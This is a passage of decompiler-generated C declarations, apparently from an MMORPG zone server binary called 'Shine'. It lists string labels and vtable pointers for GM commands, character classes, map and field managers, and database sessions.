char aServersocketcu[]; // idb extern char aEmptymap[]; // idb extern char aBlock[]; // idb extern char aZonelink[]; // idb extern char aGuildtourna_14[]; // idb extern char aEndofkq_0[]; // idb extern char aReroadkingdomq[]; // idb extern char aKingdomquest_7[]; // idb extern char aSuicideallmob[]; // idb extern char aMobdamage[]; // idb extern char aKillallmob[]; // idb extern char aKqreward[]; // idb extern char aResetabstate[]; // idb extern char aSetabstate[]; // idb extern char aSkillcooltime[]; // idb extern char aLearnskill[]; // idb extern char aQuestcomplete[]; // idb extern char aQuestrecieve[]; // idb extern char aQuestgiveup[]; // idb extern char aGldcollectset[]; // idb extern char aGldcollectclea[]; // idb extern char aGmchat[]; // idb extern char aD_0[]; // idb extern char aZ[]; // idb extern char aOxblock[]; // idb extern char aTemplink[]; // idb extern char aTimer[]; // idb extern char aScrint[]; // idb extern char aCoord[]; // idb extern char aDist[]; // idb extern char aSetsp[]; // idb extern char aSethp[]; // idb extern char aPerformance[]; // idb extern char aSummonplayer[]; // idb extern char aFullpoint[]; // idb extern char aMb[]; // idb extern char aMobbreed[]; // idb extern char aDoorbuild[]; // idb extern char aDimension[]; // idb extern char aMakeitem[]; // idb extern char aServerindex[]; // idb extern char aAdminlevel[]; // idb extern char aParameterview[]; // idb extern char aChargeditem[]; // idb extern char aMobdist[]; // idb extern char aIsblock[]; // idb extern char aDistribute[]; // idb extern char aI[]; // idb extern char aSilence_0[]; // idb extern char asc_5A6918[]; // idb extern char aFieldbonus[]; // idb extern char asc_5A6930[]; // idb extern char aItembonus[]; // idb extern char aCSB[]; // idb extern char aExpbonus[]; // idb extern char aP_0[]; // idb extern char aPsummon[]; // idb extern char asc_5A697C[]; // idb extern char aLinkto[]; // idb extern char aC_1[]; // idb extern char aKickout[]; // idb extern char asc_5A69A0[]; // idb extern char aMfind[]; // idb extern char asc_5A69B0[]; // idb extern char aPfind[]; // idb extern char aI_0[]; // idb extern char aShow[]; // idb extern char asc_5A69D0[]; // idb extern char cmd[]; // idb extern char asc_5A69E0[]; // idb extern char asc_5A69E4[]; // idb extern MobTacticElement::MobActionArgument argument[]; // idb extern char asc_5A69EC[]; // idb extern char aListiter_amp_0[]; // idb extern char aInvalidCommand[]; // idb extern char aShineobject_36[]; // idb extern char aAmpersandcom_5[20]; // idb extern int (*AttackRhythm::AttackRhythmBase::_vftable_[2])(); // weak extern int (__stdcall *AttackRhythm::AttackRhythm_Melee::_vftable_)(int ca, int charclass); // weak extern int (__stdcall *AttackRhythm::AttackRhythm_Range::_vftable_)(int ca, int charclass); // weak extern int (__stdcall *AttackRhythm::AttackRhythm_Mob::_vftable_)(int iti, char nEndureGrade); // weak extern int (__stdcall *AxialListIterator::_vftable_[5])(int type, int slot, int distancesquar); // weak extern int (__stdcall *AxialListBossFind::_vftable_[4])(int, int, int distancesquar); // weak extern int (__stdcall *AxialListWall::_vftable_[3])(int, int, int distancesquar); // weak extern int (__stdcall *AxialListShowID::_vftable_[2])(int, int, int distancesquar); // weak extern int (__stdcall *AxialListCount::_vftable_)(int, int, int distancesquar); // weak extern int (__stdcall *AxialListProtocolSend::_vftable_[2])(int, int, int distancesquar); // weak extern int (__stdcall *AxialListMobKillLog::_vftable_)(int, int, int distancesquar); // weak extern char aAxiallistpacke[]; // idb extern int (__stdcall *AxialListPacketBroadcast::_vftable_)(int, int, int distancesquar); // weak extern char aAxiallistpac_0[]; // idb extern char aAxiallistpac_1[]; // idb extern int (__thiscall *AxialListPacketBroadcastByGuild::_vftable_)(AxialListPacketBroadcast *this, #325 *, #325 *, int distancesquar); // weak extern char aAxiallistpac_3[]; // idb extern int (__stdcall *AxialListPacketBroadcast4ItemPickUp::_vftable_)(int, int, int distancesquar); // weak extern char aAxiallistpac_4[]; // idb extern char aAxiallistpac_5[]; // idb extern char aAxiallistbossf[]; // idb extern char aShineplayerTim[]; // idb extern int (__stdcall *AxialListTargetInform::_vftable_)(int, int, int distancesquar); // weak extern char asc_5A6DA8[]; // idb extern char aTargetobject_0[]; // idb extern char aAxiallisttarge[]; // idb extern char asc_5A6E40[]; // idb extern char aTargetobject_1[]; // idb extern char asc_5A6EA0[]; // idb extern char asc_5A6ED8[]; // idb extern char asc_5A6F20[]; // idb extern char asc_5A6F58[]; // idb extern char asc_5A6FA8[]; // idb extern char asc_5A7008[]; // idb extern char aTargetobjectTo[]; // idb extern char asc_5A7080[]; // idb extern char asc_5A70B8[]; // idb extern char asc_5A7100[]; // idb extern char asc_5A714C[]; // idb extern char asc_5A717C[]; // idb extern char asc_5A71AC[]; // idb extern char asc_5A71E0[]; // idb extern char asc_5A7220[]; // idb extern char asc_5A7268[]; // idb extern char asc_5A7298[]; // idb extern char asc_5A72D4[]; // idb extern char asc_5A72FC[]; // idb extern char asc_5A732C[]; // idb extern char asc_5A7364[]; // idb extern char asc_5A738C[]; // idb extern char asc_5A73B8[]; // idb extern char asc_5A73E4[]; // idb extern char asc_5A7410[]; // idb extern char asc_5A743C[]; // idb extern char asc_5A7468[]; // idb extern char asc_5A7494[]; // idb extern char asc_5A74C8[]; // idb extern char asc_5A74F8[]; // idb extern char asc_5A752C[]; // idb extern char asc_5A7564[]; // idb extern char aShineobject_57[]; // idb extern char asc_5A75CC[]; // idb extern char asc_5A760C[]; // idb extern char asc_5A7638[]; // idb extern char asc_5A7678[]; // idb extern char asc_5A76C0[]; // idb extern char asc_5A7710[]; // idb extern char asc_5A7758[]; // idb extern char asc_5A77A0[]; // idb extern char asc_5A77E0[]; // idb extern char asc_5A7848[]; // idb extern char asc_5A78A0[]; // idb extern char aWorldmanage_34[]; // idb extern char asc_5A7910[]; // idb extern char asc_5A7954[]; // idb extern char asc_5A7988[]; // idb extern char aShineobject_39[]; // idb extern char asc_5A79F4[]; // idb extern char aShinemobileo_2[27]; // weak extern char asc_5A7A3C[]; // idb extern char asc_5A7A80[]; // idb extern char asc_5A7AC4[]; // idb extern char asc_5A7AF4[]; // idb extern char aShineplayerSo_[21]; // weak extern char asc_5A7B48[]; // idb extern char asc_5A7B70[]; // idb extern char asc_5A7BA8[]; // idb extern char asc_5A7BDC[]; // idb extern char asc_5A7C18[]; // idb extern char asc_5A7C60[]; // idb extern char asc_5A7CA8[]; // idb extern char asc_5A7CE0[]; // idb extern char asc_5A7D14[]; // idb extern char aShineobject_40[]; // idb extern char asc_5A7D90[]; // idb extern char asc_5A7DD0[]; // idb extern char asc_5A7E10[]; // idb extern char asc_5A7E48[]; // idb extern char asc_5A7E90[]; // idb extern char asc_5A7EC8[]; // idb extern char asc_5A7EFC[]; // idb extern char aSp_schedule_sw[23]; // weak extern char asc_5A7F48[]; // idb extern char aBattleobject_2[]; // idb extern char aBattleobject_3[]; // idb extern char aBattleobject_0[]; // idb extern char asc_5A8040[]; // idb extern char asc_5A8090[]; // idb extern char asc_5A80C8[]; // idb extern char asc_5A80FC[]; // idb extern char asc_5A8138[]; // idb extern char asc_5A8160[]; // idb extern char asc_5A81A0[]; // idb extern char asc_5A81E0[]; // idb extern char aS_1[]; // idb extern char aDbg_txt[]; // idb extern char aA_0[]; // idb extern char aMultihitargume[]; // idb extern int (__stdcall *List::_vftable_[3])(__int16 hnd); // weak extern char aShineobject_37[]; // idb extern char asc_5A8298[]; // idb extern char aShineobject_74[]; // idb extern char asc_5A830C[]; // idb extern char aSmo_icanhealto[15]; // weak extern char aShineobject_94[]; // idb extern char asc_5A8384[]; // idb extern char asc_5A83B4[]; // idb extern char asc_5A83E4[]; // idb extern char aSkilleffectapp[]; // idb extern char aShineobject_38[]; // idb extern char asc_5A8484[]; // idb extern char asc_5A84B8[]; // idb extern char aBattleobjectgr[]; // idb extern char asc_5A8518[]; // idb extern char aShineobject_92[]; // idb extern char aSkilleffecta_3[]; // idb extern char aSkilleffecta_0[]; // idb extern char aSkilleffecta_9[]; // idb extern char aSkilleffecta_5[]; // idb extern char aSkilleffect_10[]; // idb extern char aSkilldamagelog[]; // idb extern char aListTTooLong[]; // idb extern char aBlockdistrib_0[]; // idb extern char aTooSmallSize[]; // idb extern char aBlockdistrib_1[]; // idb extern char aBlockdistribut[]; // idb extern int (*ItemBoxIterator::_vftable_[4])(); // weak extern int (__thiscall *ItemBoxIterItem::_vftable_)(_DWORD); // weak extern int (__thiscall *ItemBoxIterEmpty::_vftable_)(_DWORD); // weak extern int (__thiscall *ItemBoxIterIdent::_vftable_)(_DWORD); // weak extern char a___[]; // idb extern int (__stdcall *AxialListGhostBan::_vftable_)(int, int, int distancesquar); // weak extern int (__thiscall *Observer::_vftable_)(void *p, char); // weak extern char asc_5A8814[]; // idb extern char asc_5A8854[]; // idb extern char aKickByDoubleCo[]; // idb extern char asc_5A8898[]; // idb extern char asc_5A88DC[]; // idb extern char aRou[]; // idb extern char asc_5A8918[]; // idb extern char asc_5A8944[]; // idb extern char asc_5A8984[]; // idb extern char aShineobject_35[]; // idb extern char aBriefinfoex_13[]; // idb extern char aBriefinfoex_10[]; // idb extern char aBriefinfoex_14[]; // idb extern char aBriefinfoex_20[]; // idb extern char aBriefinfoexcha[]; // idb extern char aBriefinfoex_15[]; // idb extern char aBriefinfoex_17[]; // idb extern char aBriefinfoexc_8[]; // idb extern char aBriefinfoex_12[]; // idb extern char aBriefinfoexc_0[]; // idb extern char aBriefinfoex_16[]; // idb extern char aBriefinfoexc_4[]; // idb extern char aBriefinfoex_18[]; // idb extern char aBriefinfoex_11[]; // idb extern char aBriefinfoex_19[]; // idb extern char asc_5A8CA8[]; // idb extern char asc_5A8CE0[]; // idb extern char aServerHnd[]; // idb extern char aCommand[]; // idb extern char aDepartment[]; // idb extern char aGetHandle[]; // idb extern MobTacticElement::MobActionArgument stru_5A8D60; // idb extern char asc_5A90A8[]; // idb extern char asc_5A90F0[]; // idb extern char asc_5A9140[]; // idb extern char aBriefinfoexc_2[]; // idb extern char aBriefinfoex_22[]; // idb extern char asc_5A93B4[]; // idb extern char aYouAreAdminist[23]; // weak extern char asc_5A9440[]; // idb extern char asc_5A9474[]; // idb extern char asc_5A94A4[]; // idb extern char asc_5A94D0[]; // idb extern char asc_5A9508[]; // idb extern char asc_5A9550[]; // idb extern char asc_5A9594[]; // idb extern char asc_5A95C8[]; // idb extern char asc_5A95FC[]; // idb extern char asc_5A963C[]; // idb extern char asc_5A9670[]; // idb extern char asc_5A96A4[]; // idb extern char asc_5A96D8[]; // idb extern char asc_5A970C[]; // idb extern char asc_5A9748[]; // idb extern char asc_5A9798[]; // idb extern char aShineobject_75[]; // idb extern char asc_5A9828[]; // idb extern char aSp_nc_map_lo_0[]; // idb extern char aSp_nc_map_logi[]; // idb extern char asc_5A98CC[]; // idb extern int (__thiscall *CallBackEvent::_vftable_)(void *p, char); // weak extern int (__thiscall *RollBackPosCallBackEvent::_vftable_)(void *p, char); // weak extern char aCharaterskilll[]; // idb extern char aCharaterski_24[]; // idb extern char aCharaterskil_1[]; // idb extern char aCharacterpas_0[]; // idb extern char aCharacterpas_1[]; // idb extern char aCharacterpas_2[]; // idb extern char aCharacterpassi[]; // idb extern char aCharaterski_11[]; // idb extern char aCharaterski_17[]; // idb extern char aCharaterskil_3[]; // idb extern char aCharaterskil_0[]; // idb extern char aCharaterskil_4[]; // idb extern char aCharaterski_26[]; // idb extern char aCharaterski_16[]; // idb extern char aCharaterski_13[]; // idb extern char aCharaterski_28[]; // idb extern char aCharaterski_25[]; // idb extern char aCharaterski_27[54]; // weak extern char aCharaterski_19[]; // idb extern char aCharaterski_12[]; // idb extern char aCharaterskil_5[]; // idb extern char aCharaterski_29[]; // idb extern char aCharaterskil_2[]; // idb extern char aCharaterskil_7[]; // idb extern char aCharaterski_22[]; // idb extern char aCharaterski_32[]; // idb extern char aCharaterski_23[]; // idb extern char aCharaterski_18[]; // idb extern char aCharaterski_14[]; // idb extern char aCharaterskil_8[]; // idb extern char aCharaterski_20[]; // idb extern char aCharaterskil_9[]; // idb extern int (__stdcall *CharClass::_vftable_[10])(int iti, int dEndureEndTime); // weak extern int (__stdcall *CharClassMob::_vftable_[10])(int iti, int dEndureEndTime); // weak extern int (__stdcall *CharClassFighter::_vftable_[10])(int iti, int dEndureEndTime); // weak extern int (__stdcall *CharClassCleverFighter::_vftable_[10])(int iti, int dEndureEndTime); // weak extern int (__stdcall *CharClassWarrior::_vftable_[10])(int iti, int dEndureEndTime); // weak extern int (__stdcall *CharClassGladiator::_vftable_[10])(int iti, int dEndureEndTime); // weak extern int (__stdcall *CharClassKnight::_vftable_[10])(int iti, int dEndureEndTime); // weak extern int (__stdcall *CharClassCleric::_vftable_[10])(int iti, int dEndureEndTime); // weak extern int (__stdcall *CharClassHighCleric::_vftable_[10])(int iti, int dEndureEndTime); // weak extern int (__stdcall *CharClassPaladin::_vftable_[10])(int iti, int dEndureEndTime); // weak extern int (__stdcall *CharClassHolyKnight::_vftable_[10])(int iti, int dEndureEndTime); // weak extern int (__stdcall *CharClassGuardian::_vftable_[10])(int iti, int dEndureEndTime); // weak extern int (__stdcall *CharClassArchar::_vftable_[10])(int iti, int dEndureEndTime); // weak extern int (__stdcall *CharClassHawkArcher::_vftable_[10])(int iti, int dEndureEndTime); // weak extern int (__stdcall *CharClassScout::_vftable_[10])(int iti, int dEndureEndTime); // weak extern int (__stdcall *CharClassSharpShooter::_vftable_[10])(int iti, int dEndureEndTime); // weak extern int (__stdcall *CharClassRanger::_vftable_[10])(int iti, int dEndureEndTime); // weak extern int (__stdcall *CharClassMage::_vftable_[10])(int iti, int dEndureEndTime); // weak extern int (__stdcall *CharClassWizMage::_vftable_[10])(int iti, int dEndureEndTime); // weak extern int (__stdcall *CharClassEnchanter::_vftable_[10])(int iti, int dEndureEndTime); // weak extern int (__stdcall *CharClassWarrock::_vftable_[10])(int iti, int dEndureEndTime); // weak extern int (__stdcall *CharClassWizard::_vftable_[10])(int iti, int dEndureEndTime); // weak extern int (__stdcall *CharClassJoker::_vftable_[10])(int iti, int dEndureEndTime); // weak extern int (__stdcall *CharClassChaser::_vftable_[10])(int iti, int dEndureEndTime); // weak extern int (__stdcall *CharClassCruel::_vftable_[10])(int iti, int dEndureEndTime); // weak extern int (__stdcall *CharClassCloser::_vftable_[10])(int iti, int dEndureEndTime); // weak extern int (__stdcall *CharClassAssassin::_vftable_[10])(int iti, int dEndureEndTime); // weak extern char aCharclassCc__0[]; // idb extern char aParam[]; // idb extern char column[]; // idb extern char aCharclassCc__1[]; // idb extern char a__9dataShine_6[]; // idb extern char a__9dataShin_25[]; // idb extern char aCharclassCc_lo[]; // idb extern char aParamassassins[]; // idb extern char aParamcloserser[]; // idb extern char aParamcruelserv[]; // idb extern char aParamchaserser[]; // idb extern char aParamjokerserv[]; // idb extern char aParamwizardser[]; // idb extern char aParamwarrockse[]; // idb extern char aParamenchanter[]; // idb extern char aParamwizmagese[]; // idb extern char aParammageserve[]; // idb extern char aParamrangerser[]; // idb extern char aParamsharpshoo[]; // idb extern char aParamscoutserv[]; // idb extern char aParamhawkarche[]; // idb extern char aParamarcherser[]; // idb extern char aParamguardians[]; // idb extern char aParamholyknigh[]; // idb extern char aParampaladinse[]; // idb extern char aParamhighcleri[]; // idb extern char aParamclericser[]; // idb extern char aParamknightser[]; // idb extern char aParamgladiator[]; // idb extern char aParamwarriorse[]; // idb extern char aParamcleverfig[]; // idb extern char txt[]; // idb extern char aCharclassmanag[]; // idb extern char asc_5AA954[]; // idb extern char aShineplayer_22[]; // idb extern char aWorldmanage_87[]; // idb extern char asc_5AA9FC[]; // idb extern char aWorldmanage_72[]; // idb extern char aWorldmanager_8[]; // idb extern char asc_5AAAA0[]; // idb extern char aWorldmanage_17[]; // idb extern char asc_5AAB18[]; // idb extern char asc_5AAB5C[]; // idb extern char aWorldmanager_5[]; // idb extern char aWorldmanage_31[]; // idb extern char aWorldmanage_78[]; // idb extern char asc_5AAC48[]; // idb extern char asc_5AAC8C[]; // idb extern char asc_5AACC0[]; // idb extern char aWorldmanage_22[]; // idb extern char aWorldmanage_39[]; // idb extern char aWorldmanage_60[]; // idb extern char aWorldmanage_15[]; // idb extern char aWorldmanage_29[]; // idb extern char aWorldmanage_42[]; // idb extern char asc_5AAE58[]; // idb extern char asc_5AAE9C[]; // idb extern char aWorldmanager_1[]; // idb extern char asc_5AAF18[]; // idb extern char aWorldmanage_46[]; // idb extern char aWorldmanage_37[]; // idb extern char asc_5AAFC8[]; // idb extern char asc_5AB010[]; // idb extern char asc_5AB058[]; // idb extern char asc_5AB09C[]; // idb extern char aWorldmanage_23[]; // idb extern char aWorldmanage_67[]; // idb extern char asc_5AB140[]; // idb extern char asc_5AB184[]; // idb extern char aWorldmanage_58[]; // idb extern char asc_5AB1E4[]; // idb extern char asc_5AB218[]; // idb extern char asc_5AB268[]; // idb extern char asc_5AB2BC[]; // idb extern char aGamedbsessionW[]; // idb extern char asc_5AB334[]; // idb extern char aShineobject_34[]; // idb extern char asc_5AB3A0[]; // idb extern char asc_5AB3EC[]; // idb extern char asc_5AB424[]; // idb extern char aWorldmanage_90[]; // idb extern char aItemsmallbag_0[]; // idb extern char aItemsmallbag_2[]; // idb extern char asc_5AB528[]; // idb extern char asc_5AB56C[]; // idb extern char asc_5AB5AC[]; // idb extern MobTacticElement::MobActionArgument stru_5AB5B0; // idb extern char asc_5AB8D8[]; // idb extern char asc_5AB928[]; // idb extern char asc_5AB970[]; // idb extern char asc_5AB9A4[]; // idb extern char asc_5AB9D8[]; // idb extern char asc_5ABA24[]; // idb extern char aGamedbsessi_32[]; // idb extern char aGamedbsessi_61[]; // idb extern char aChargediteme_3[]; // idb extern char aChargediteme_4[]; // idb extern char aChargediteme_8[]; // idb extern char aChargediteme_9[]; // idb extern char aUseskill[]; // idb extern char aRidepetdatab_0[]; // idb extern char aRidepetdatabox[]; // idb extern char dataShine::a[]; // idb extern char skillname[]; // idb extern int (__stdcall *List::_vftable_[3])(__int16 hnd); // weak extern char aChargeditemeff[]; // idb extern char aChargediteme_2[]; // idb extern char asc_5ABC98[]; // idb extern char asc_5ABCD4[]; // idb extern char asc_5ABD10[]; // idb extern char aChargediteme_7[]; // idb extern char aChargediteme_0[]; // idb extern int (__stdcall *ChargedItemEffectList::ChargedEffectListRouter::_vftable_)(int ele, int handle); // weak extern char aChargediteme_1[]; // idb extern char asc_5ABE08[]; // idb extern char asc_5ABE38[]; // idb extern char asc_5ABE6C[]; // idb extern char asc_5ABEA0[]; // idb extern char asc_5ABED8[]; // idb extern char asc_5ABF20[]; // idb extern char asc_5ABF68[]; // idb extern char asc_5ABFB0[]; // idb extern char aGamedbsessi_58[]; // idb extern char aShineobject_81[]; // idb extern char asc_5AC094[]; // idb extern char asc_5AC0D4[]; // idb extern char aChangedFromDTo[]; // idb extern char aShineobject_56[]; // idb extern char asc_5AC150[]; // idb extern char asc_5AC198[]; // idb extern char asc_5AC1CC[]; // idb extern int (__stdcall *AxialListMobFind::_vftable_)(int, int, int distancesquar); // weak extern char aDroplocationma[]; // idb extern char asc_5AC228[]; // idb extern char asc_5AC25C[]; // idb extern char asc_5AC294[]; // idb extern char aSIsNotInThisMa[]; // idb extern char aSIsNotMobIndex[]; // idb extern char asc_5AC2F0[]; // idb extern char aFieldmapFm_m_1[]; // idb extern char idx[]; // idb extern char aFieldmapFm_m_0[]; // idb extern char aFieldmapFm_mar[]; // idb extern int (*EventReserveBase::_vftable_)(); // weak extern char asc_5AC398[]; // idb extern char asc_5AC3C8[]; // idb extern char asc_5AC3F8[]; // idb extern char asc_5AC42C[]; // idb extern char asc_5AC45C[]; // idb extern char asc_5AC48C[]; // idb extern char asc_5AC4B8[]; // idb extern char asc_5AC4E4[]; // idb extern char asc_5AC514[]; // idb extern char asc_5AC544[]; // idb extern char asc_5AC574[]; // idb extern char asc_5AC5A0[]; // idb extern char aWholesaverWs_9[]; // idb extern char aWholesaverWs_8[]; // idb extern char aWholesaverW_10[]; // idb extern char aWholesaverWs_s[]; // idb extern char aWholesaverWs_7[]; // idb extern char aWholesaverWs_6[]; // idb extern char aWholesaverWs_3[]; // idb extern char aWholesaverWs_5[]; // idb extern char aNotsaved_bin[]; // idb extern char aWb[]; // idb extern char aEventsavecheck[]; // idb extern char aEventsaveche_0[]; // idb extern char asc_5AC748[]; // idb extern char asc_5AC778[]; // idb extern char asc_5AC7A8[]; // idb extern char asc_5AC7DC[]; // idb extern char asc_5AC80C[]; // idb extern char asc_5AC83C[]; // idb extern char asc_5AC868[]; // idb extern char asc_5AC894[]; // idb extern int (__stdcall *AbnormalStateSaver::_vftable_)(int ele, __int16 handle); // weak extern char aAbnormalstates[47]; // weak extern char aAbnormalsta_50[]; // idb extern char aAbnormalstat_0[]; // idb extern char asc_5AC944[]; // idb extern char asc_5AC974[]; // idb extern char asc_5AC9A0[]; // idb extern char aGamedbsessionN[]; // idb extern char aGamedbsessi_17[]; // idb extern char asc_5ACA20[]; // idb extern char aGamedbsessio_8[]; // idb extern char aGamedbsessio_1[]; // idb extern int (*EventSaveCheck::_vftable_)(); // weak extern char asc_5ACB48[]; // idb extern char asc_5ACBB0[88]; // weak extern char asc_5ACC08[]; // idb extern char aWholesaverSo_s[]; // idb extern char asc_5ACC90[]; // idb extern char aCharaterski_10[]; // idb extern char aCharaterski_15[]; // idb extern char aShineobject_83[]; // idb extern char aSkillcooltimel[]; // idb extern char asc_5ACD64[]; // idb extern int (__stdcall *AxialListMobDistribute::_vftable_)(int, int, int distancesquar); // weak extern char aSDD[]; // idb extern char asc_5ACDB4[]; // idb extern char asc_5ACDE8[]; // idb extern char asc_5ACE34[]; // idb extern char asc_5ACE70[]; // idb extern char asc_5ACEA8[]; // idb extern char asc_5ACEE8[]; // idb extern char asc_5ACF20[]; // idb extern char asc_5ACF60[]; // idb extern char aShineobject_97[]; // idb extern char asc_5ACFD4[]; // idb extern char asc_5AD008[]; // idb extern char asc_5AD060[]; // idb extern char asc_5AD0A8[]; // idb extern char asc_5AD0E0[]; // idb extern char asc_5AD118[]; // idb extern char asc_5AD150[]; // idb extern char asc_5AD188[]; // idb extern char asc_5AD1C0[]; // idb extern char asc_5AD208[]; // idb extern char asc_5AD240[]; // idb extern char asc_5AD288[]; // idb extern char asc_5AD2D4[]; // idb extern char asc_5AD310[]; // idb extern char asc_5AD348[]; // idb extern char asc_5AD384[]; // idb extern char aShineobject_49[]; // idb extern char asc_5AD3F8[]; // idb extern char aShineobject_89[]; // idb extern char asc_5AD478[]; // idb extern char aShineobject_32[]; // idb extern char asc_5AD4D4[]; // idb extern char asc_5AD514[]; // idb extern char asc_5AD548[]; // idb extern char asc_5AD588[]; // idb extern char aShineobject_33[]; // idb extern char asc_5AD5E8[]; // idb extern char asc_5AD628[]; // idb extern char asc_5AD658[]; // idb extern char asc_5AD6A0[]; // idb extern char asc_5AD6D8[]; // idb extern char asc_5AD708[]; // idb extern char asc_5AD73C[]; // idb extern int (__stdcall *ClientSession::_vftable_)(int interval); // weak extern int (__stdcall *ClientSessionNull::_vftable_)(int interval); // weak extern int (__thiscall *ClientSessionManager::_vftable_)(ZoneBaseSessionManager *this, int SocketAccept, int pAddr); // weak extern int (__stdcall *ZoneListenSession::_vftable_)(int interval); // weak extern char aZonelistens_20[]; // idb extern char aZonelistense_7[]; // idb extern char aZonelistensess[]; // idb extern char aDMechinesTrave[]; // idb extern char aZonelistens_15[]; // idb extern char aZonelistens_11[]; // idb extern char aZonelistens_18[]; // idb extern char aZonelistense_9[]; // idb extern char aZonelistense_2[]; // idb extern char aZonelistens_24[]; // idb extern char aZonelistens_10[]; // idb extern char aZonelistens_14[]; // idb extern char aZonelistens_13[]; // idb extern char aZonelistense_4[]; // idb extern char aDamagebyangl_7[]; // idb extern char aDamagebyangl_6[]; // idb extern char aDamagebyangleD[]; // idb extern char aDamagebyangl_8[]; // idb extern char aDamagebyangl_4[]; // idb extern char aDamagebyangl_0[]; // idb extern char aDamagebyangl_1[]; // idb extern char aDamagebyangl_3[]; // idb extern char aDamagebyangl_2[]; // idb extern char a__9dataShin_13[]; // idb extern char a__9dataShin_46[]; // idb extern char aDamagebysoul[]; // idb extern char aDamagebysoulSo[]; // idb extern char aDamagebysoul_0[]; // idb extern char a__9dataShin_34[]; // idb extern char a__9dataShine_1[]; // idb extern char asc_5ADD98[]; // idb extern char asc_5ADDD8[]; // idb extern char asc_5ADE1C[]; // idb extern char aDefskilldataDs[]; // idb extern char asc_5ADE7C[]; // idb extern char asc_5ADEBC[]; // idb extern char aShineobject_42[]; // idb extern char asc_5ADF34[]; // idb extern char asc_5ADF68[]; // idb extern char asc_5ADFAC[]; // idb extern char asc_5ADFE0[]; // idb extern char asc_5AE01C[]; // idb extern char asc_5AE050[]; // idb extern char asc_5AE094[]; // idb extern char asc_5AE0D0[]; // idb extern char asc_5AE10C[]; // idb extern char asc_5AE13C[]; // idb extern char aCooltimeset[]; // idb extern char aSp_ridecast_in[]; // idb extern char aNotNull[9]; // weak extern char asc_5AE1A8[]; // idb extern char asc_5AE1E4[]; // idb extern char asc_5AE210[]; // idb extern char asc_5AE250[]; // idb extern char asc_5AE28C[]; // idb extern char asc_5AE2B8[]; // idb extern char asc_5AE300[]; // idb extern char aShineobject_61[]; // idb extern char asc_5AE38C[]; // idb extern char aMovererrorlog[]; // idb extern char aDirectdistan_0[]; // idb extern char aDirectdistan_1[]; // idb extern char aInvalidShinera[]; // idb extern char aDirectdistance[]; // idb extern char aFieldmapFm_iss[]; // idb extern char aRadianmovetr_0[]; // idb extern char aRadianmovetrac[]; // idb extern char aDropitemanalyz[]; // idb extern char aDroplocSamed_1[]; // idb extern char aDroplocSamed_0[]; // idb extern char aDroplocSamedis[]; // idb extern char aDroplocation_2[]; // idb extern char aDroplocation_1[]; // idb extern char aDroplocation_0[]; // idb extern char aDuplicatedmenu[]; // idb extern int (__stdcall *VectorClass::VectorWithLength::_vftable_)(int newdist); // weak extern char aDSD[]; // idb extern char aMapload_txt[]; // idb extern int (__stdcall *AxialListNumberCount::_vftable_)(int, int, int distancesquar); // weak extern char aFieldmapFm_r_0[]; // idb extern char aFieldmapFm_rel[]; // idb extern char aMaprearrangeob[]; // idb extern char aFieldmapFm_dis[]; // idb extern char aFieldmapFm_fin[]; // idb extern char aFieldmapFm_g_5[]; // idb extern char aFieldmapFm_g_0[]; // idb extern char aFieldmapFm_g_2[]; // idb extern char aFieldmapFm_set[]; // idb extern char aFieldmapFm_get[]; // idb extern char aFieldmapFm_g_1[]; // idb extern char aFieldmapFm_i_0[]; // idb extern char aFieldcontain_6[]; // idb extern char aFieldcontainer[]; // idb extern char aTooManyMap[]; // idb extern char aChecksumErrorI[]; // idb extern char aErrorInGuild_0[]; // idb extern char aErrorInGuildto[]; // idb extern char aGuildtourna_22[]; // idb extern char aFieldcontain_1[]; // idb extern char aSerial[]; // idb extern char aFieldcontain_7[]; // idb extern char aFieldcontain_2[]; // idb extern char aFieldcontain_8[]; // idb extern char aFieldlist_0[]; // idb extern char aFieldcontain_0[]; // idb extern char aChecksumErro_1[]; // idb extern char aFieldcontain_5[]; // idb extern char aErrorInInsta_0[]; // idb extern char aErrorInInstanc[]; // idb extern char aErrorInInsta_1[]; // idb extern char aInstancedungeo[]; // idb extern char aFieldcontain_9[]; // idb extern char aErrorInReadFie[]; // idb extern char a__9dataShine_3[]; // idb extern char a__9dataShin_17[]; // idb extern char aFieldcontain_4[]; // idb extern char aMapSetTTooLong[]; // idb extern char aInvalidMapSetT[]; // idb extern char aFieldcontai_10[]; // idb extern char a__9dataShin_41[]; // idb extern char aFieldcontain_3[]; // idb extern int (__stdcall *List::_vftable_[3])(__int16 hnd); // weak extern char aFieldmapFm_cre[]; // idb extern char asc_5AECE0[]; // idb extern char asc_5AED10[]; // idb extern char aSI64uFF[]; // idb extern char aCSU[]; // idb extern char aDD_0[]; // idb extern char aS04d02d02d02d_[]; // idb extern char aFunctionExecNu[]; // idb extern char aFunctionperfor[]; // idb extern int (__stdcall *GameDBSession::_vftable_)(int interval); // weak extern char aVarificationEr[]; // idb extern char aDDD[]; // idb extern char asc_5AEDFC[]; // idb extern char asc_5AEE20[]; // idb extern char aGamedbsessi_81[]; // idb extern char aGamedbsessi_49[]; // idb extern char aWorldmanage_27[]; // idb extern char asc_5AEEFC[]; // idb extern int (__stdcall *GameLogSession::_vftable_)(int interval); // weak extern char aGamelogsessi_5[]; // idb extern char aGamelogsession[]; // idb extern char aGamelogsessi_2[]; // idb extern char aGamelogsessi_0[]; // idb extern char aGamelogsessi_1[]; // idb extern char aCharaterskil_6[]; // idb extern char aGatherproduceG[]; // idb extern char a__9dataShineGa[]; // idb extern char aGatherproduc_1[]; // idb extern char aGatherproduc_0[]; // idb extern char aGatherproduc_2[]; // idb extern char dataShine::a[]; // idb extern char aGatherproduceR[]; // idb extern char aCharaterski_30[]; // idb extern char aCharaterski_31[]; // idb extern char asc_5AF1F0[]; // idb extern char asc_5AF220[]; // idb extern char asc_5AF250[]; // idb extern char asc_5AF298[]; // idb extern char asc_5AF2EC[]; // idb extern char asc_5AF328[]; // idb extern char asc_5AF380[]; // idb extern char asc_5AF3D8[]; // idb extern char asc_5AF428[]; // idb extern char asc_5AF460[]; // idb extern char asc_5AF4B0[]; // idb extern char asc_5AF508[]; // idb extern char asc_5AF558[]; // idb extern char asc_5AF594[]; // idb extern char aItemproducer_5[]; // idb extern char aItemproducerIt[]; // idb extern char asc_5AF610[]; // idb extern char aItemproducer_3[]; // idb extern char aItemproducer_0[]; // idb extern char aItemproducer_1[]; // idb extern char aItemproducerIp[]; // idb extern char aItemproducer_2[]; // idb extern char asc_5AF740[]; // idb extern char asc_5AF788[]; // idb extern char asc_5AF7CC[]; // idb extern char aGamedbsessi_28[]; // idb extern char asc_5AF83C[]; // idb extern char aGamedbsessi_40[]; // idb extern char aShineplayer_39[]; // idb extern char 